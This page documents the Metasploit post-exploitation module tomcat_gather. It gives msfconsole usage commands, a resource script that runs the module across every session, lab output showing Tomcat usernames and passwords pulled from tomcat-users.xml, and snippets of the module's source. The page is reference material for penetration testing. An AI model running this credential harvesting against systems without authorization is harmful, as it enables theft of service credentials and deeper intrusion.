Gather Tomcat Credentials - Metasploit
This page contains detailed information about how to use the post/multi/gather/tomcat_gather metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Gather Tomcat Credentials
Module: post/multi/gather/tomcat_gather
Source code: modules/post/multi/gather/tomcat_gather.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Linux, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will attempt to collect credentials from Tomcat services running on the machine.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/gather/tomcat_gather
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/gather/tomcat_gather
msf post(tomcat_gather) > show options
... show and set options ...
msf post(tomcat_gather) > set SESSION session-id
msf post(tomcat_gather) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/gather/tomcat_gather")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Creating A Testing Environment
For this module to work you need a linux or windows machine.
- For linux you can run something like
apt-get install tomcat7
to get a working tomcat service. - For WIndows you can download tomcat from http://tomcat.apache.org/ and then install it as a service.
This module has been tested against:
- Xubuntu and Ubuntu Server 16.04 with tomcat 7, 8.
- Windows 10 with tomcat 6, 7.
- Windows XP with tomcat 5.5, 6, 7, 8
This module was not tested against, but may work against:
- Other versions of linux running tomcat v4-9
- Other version of windows running tomcat v4-9
Verification Steps
- Start msfconsole
- Obatin a meterpreter session via whatever method
- Do:
use post/multi/gather/tomcat_gather
- Do:
set session #
- Do:
run
Scenarios
Xubuntu 16.04 with tomcat 7 and 8
Running without read permissions
msf post(tomcat_gather) > set session 1
session => 1
msf post(tomcat_gather) > run
[*] [2017.03.31-10:19:27] Unix OS detected
[*] [2017.03.31-10:19:28] /etc/tomcat7/tomcat-users.xml found
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat7/tomcat-users.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat7/tomcat-users.xml you probably don't have permission to open the file or parsing failed.
[*] [2017.03.31-10:19:28] /etc/tomcat8/tomcat-users.xml found
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat8/tomcat-users.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat8/tomcat-users.xml you probably don't have permission to open the file or parsing failed.
[*] [2017.03.31-10:19:28] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat7/server.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat7/server.xml you probably don't have permission to open the file or parsing failed
[*] [2017.03.31-10:19:28] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat8/server.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat8/server.xml you probably don't have permission to open the file or parsing failed
[*] [2017.03.31-10:19:28] No user credentials have been found
[*] Post module execution completed
Running with read permissions
msf post(tomcat_gather) > set session 2
session => 2
msf post(tomcat_gather) > run
[*] [2017.03.31-10:33:14] Unix OS detected
[*] [2017.03.31-10:33:15] /etc/tomcat7/tomcat-users.xml found
[*] [2017.03.31-10:33:15] /etc/tomcat8/tomcat-users.xml found
[*] [2017.03.31-10:33:15] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml
[*] [2017.03.31-10:33:15] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml
[+] [2017.03.31-10:33:16] Username and password found in /etc/tomcat7/tomcat-users.xml - tomcat2:s3cret
[+] [2017.03.31-10:33:16] Username and password found in /etc/tomcat8/tomcat-users.xml - tomcat2:s3cret
[*] Post module execution completed
msf post(tomcat_gather) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
10.10.10.6 10.10.10.6 8080/tcp (Tomcat) tomcat2 s3cret Password
Windows 10 with tomcat 7
Running with read permissions
msf post(tomcat_gather) > run
[*] [2017.03.31-10:43:18] Windows OS detected, enumerating services
[+] [2017.03.31-10:43:18] Tomcat service found
[*] [2017.03.31-10:43:18] C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml found!
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - tomcat:tomcat
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - both:
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - role1:
[*] Post module execution completed
msf post(tomcat_gather) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
10.10.10.6 10.10.10.6 8080/tcp (Tomcat) tomcat2 s3cret Password
10.10.10.7 10.10.10.7 8080/tcp (Tomcat) tomcat tomcat Password
10.10.10.7 10.10.10.7 8080/tcp (Tomcat) both Password
10.10.10.7 10.10.10.7 8080/tcp (Tomcat) role1 Password
Go back to menu.
Msfconsole Usage
Here is how the multi/gather/tomcat_gather post exploitation module looks in the msfconsole:
msf6 > use post/multi/gather/tomcat_gather
msf6 post(multi/gather/tomcat_gather) > show info
Name: Gather Tomcat Credentials
Module: post/multi/gather/tomcat_gather
Platform: Windows, Linux
Arch:
Rank: Normal
Provided by:
Koen Riepe <[email protected]>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module will attempt to collect credentials from Tomcat services
running on the machine.
Module Options
This is a complete list of options available in the multi/gather/tomcat_gather post exploitation module:
msf6 post(multi/gather/tomcat_gather) > show options
Module options (post/multi/gather/tomcat_gather):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the multi/gather/tomcat_gather post exploitation module:
msf6 post(multi/gather/tomcat_gather) > show advanced
Module advanced options (post/multi/gather/tomcat_gather):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/gather/tomcat_gather module can do:
msf6 post(multi/gather/tomcat_gather) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/gather/tomcat_gather post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/gather/tomcat_gather) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Port not an Integer, defaulting to port <PORT> for creds database
- No Tomcat home can be determined
- Cannot open <PATH> you probably don't have permission to open the file or parsing failed
- No tomcat installation has been detected
- Cannot open <PATH> you probably don't have permission to open the file or parsing failed
- Failed to detect tomcat service port
- Incompatible session type, sysinfo is not available.
- No user credentials have been found
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Port not an Integer, defaulting to port <PORT> for creds database
Here is a relevant code snippet related to the "Port not an Integer, defaulting to port <PORT> for creds database" error message:
43:
44: credential_core = create_credential(credential_data)
45:
46: if not port.is_a? Integer
47: port = 8080
48: print_status("Port not an Integer, defaulting to port #{port} for creds database")
49: end
50:
51: login_data = {
52: core: credential_core,
53: status: Metasploit::Model::Login::Status::UNTRIED,
No Tomcat home can be determined
Here is a relevant code snippet related to the "No Tomcat home can be determined" error message:
114: comment_block = false
115: end
116: end
117: end
118: else
119: print_status('No Tomcat home can be determined')
120: end
121: end
122:
123: def gathernix
124: print_status('Unix OS detected')
Cannot open <PATH> you probably don't have permission to open the file or parsing failed
Here is a relevant code snippet related to the "Cannot open <PATH> you probably don't have permission to open the file or parsing failed" error message:
140: elsif line.include? ("-->") and comment_block
141: comment_block = false
142: end
143: end
144: rescue
145: print_error("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
146: end
147: end
148: end
149: else
150: print_status('No tomcat installation has been detected')
No tomcat installation has been detected
Here is a relevant code snippet related to the "No tomcat installation has been detected" error message:
145: print_error("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
146: end
147: end
148: end
149: else
150: print_status('No tomcat installation has been detected')
151: end
152:
153: port_path = cmd_exec('locate server.xml').split("\n")
154: if port_path.size > 0
155: port_path.each do |path|
Cannot open <PATH> you probably don't have permission to open the file or parsing failed
Here is a relevant code snippet related to the "Cannot open <PATH> you probably don't have permission to open the file or parsing failed" error message:
170: elsif line.include? ("-->") and comment_block
171: comment_block = false
172: end
173: end
174: rescue
175: print_status("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
176: end
177: end
178: end
179: else
180: print_status('Failed to detect tomcat service port')
Failed to detect tomcat service port
Here is a relevant code snippet related to the "Failed to detect tomcat service port" error message:
175: print_status("Cannot open #{path} you probably don't have permission to open the file or parsing failed")
176: end
177: end
178: end
179: else
180: print_status('Failed to detect tomcat service port')
181: end
182: end
183:
184: def run
185: if sysinfo
Incompatible session type, sysinfo is not available.
Here is a relevant code snippet related to the "Incompatible session type, sysinfo is not available." error message:
187: gatherwin
188: else
189: gathernix
190: end
191: else
192: print_error('Incompatible session type, sysinfo is not available.')
193: end
194:
195: if $username.size == 0
196: print_status("No user credentials have been found")
197: end
No user credentials have been found
Here is a relevant code snippet related to the "No user credentials have been found" error message:
191: else
192: print_error('Incompatible session type, sysinfo is not available.')
193: end
194:
195: if $username.size == 0
196: print_status("No user credentials have been found")
197: end
198:
199: i=0
200: while i < $username.count
201: print_good("Username and password found in #{$paths[i]} - #{$username[i]}:#{$password[i]}")
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #8010 Merged Pull Request: Added tomcat_gather modules to Metasploit.
Go back to menu.
See Also
Check also the following modules related to this module:
- post/multi/gather/apple_ios_backup
- post/multi/gather/aws_ec2_instance_metadata
- post/multi/gather/aws_keys
- post/multi/gather/check_malware
- post/multi/gather/chrome_cookies
- post/multi/gather/dbvis_enum
- post/multi/gather/dns_bruteforce
- post/multi/gather/dns_reverse_lookup
- post/multi/gather/dns_srv_lookup
- post/multi/gather/docker_creds
- post/multi/gather/enum_hexchat
- post/multi/gather/enum_software_versions
- post/multi/gather/enum_vbox
- post/multi/gather/env
- post/multi/gather/fetchmailrc_creds
- post/multi/gather/filezilla_client_cred
- post/multi/gather/find_vmx
- post/multi/gather/firefox_creds
- post/multi/gather/gpg_creds
- post/multi/gather/grub_creds
- post/multi/gather/irssi_creds
- post/multi/gather/jboss_gather
- post/multi/gather/jenkins_gather
- post/multi/gather/lastpass_creds
- post/multi/gather/maven_creds
- post/multi/gather/multi_command
- post/multi/gather/netrc_creds
- post/multi/gather/pgpass_creds
- post/multi/gather/pidgin_cred
- post/multi/gather/ping_sweep
- post/multi/gather/remmina_creds
- post/multi/gather/resolve_hosts
- post/multi/gather/rsyncd_creds
- post/multi/gather/rubygems_api_key
- post/multi/gather/run_console_rc_file
- post/multi/gather/saltstack_salt
- post/multi/gather/skype_enum
- post/multi/gather/ssh_creds
- post/multi/gather/thunderbird_creds
- post/multi/gather/ubiquiti_unifi_backup
- post/multi/gather/unix_cached_ad_hashes
- post/multi/gather/unix_kerberos_tickets
- post/multi/gather/wlan_geolocate
Authors
- Koen Riepe <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.